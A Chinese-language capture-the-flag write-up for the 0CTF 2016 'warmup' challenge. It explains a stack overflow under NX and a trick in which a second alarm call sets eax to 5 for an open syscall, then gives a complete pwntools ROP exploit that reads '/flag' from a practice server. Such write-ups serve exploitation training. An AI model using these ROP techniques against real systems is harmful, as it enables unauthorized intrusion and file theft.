0%

0CTF_2016_warmup(alarm在rop里的妙用)

首先,检查一下程序的保护机制

然后,我们用IDA分析一下

漏洞很简单,存在一个栈溢出漏洞。难点就在于NX保护开启,不然我们可以布置shellcode。这个程序不依靠glibc,并且栈溢出尺寸太小,并且gadgets少的可怜。几乎不能造出execve的系统调用。查看程序,发现已经有read、write可以使用,如果我们再整出个open系统调用,就能读取文件了。由于栈溢出尺寸太小,因此要想使得eax的值为5,并且能同时调用syscall,不能完成。**[突破点就在于alarm函数了。alarm函数有一个特性,如果多次调用alarm,那么alarm就会返回前一个alarm开始到现在,还剩下多长时间。]{.mark}**比如,第一次alarm(10),然后过来2s,我们又调用alarm(1234),那么第二次的alarm返回值eax为10s-2s=8s。

程序中alarm(0xA),因此,我们只需要休眠5s,然后再调用一次alarm,就可以使得eax的值为5,从而构造open系统调用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#coding:utf8
from pwn import *

#sh = process('./warmup')
sh = remote('node3.buuoj.cn',26614)
vuln_addr = 0x0804815A
read_addr = 0x0804811D
write_addr = 0x08048135
data = 0x080491BC
syscall = 0x0804813A
alarm_addr = 0x804810d
#先将flag文件名字符串读取到data段
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(0) + p32(data) + p32(0x10)
sh.sendafter('Welcome to 0CTF 2016!',payload)
sh.sendafter('Good Luck!','/flag'.ljust(0x10,'\x00'))
#第二步,打开flag
#通过第二次调用alarm,eax的值会返回第一次alarm到现在的间隔值,如果正好为5,就可以打开文件了
#因此,我们休眠5
sleep(5)
payload = 'a'*0x20 + p32(alarm_addr) + p32(syscall) + p32(vuln_addr) + p32(data) + p32(0)
sh.send(payload)
#读取flag
payload = 'a'*0x20 + p32(read_addr) + p32(vuln_addr) + p32(3) + p32(data) + p32(0x30)
sh.sendafter('Good Luck!',payload)
#打印flag
payload = 'a'*0x20 + p32(write_addr) + p32(0) + p32(1) + p32(data) + p32(0x30)
sh.sendafter('Good Luck!',payload)

sh.interactive()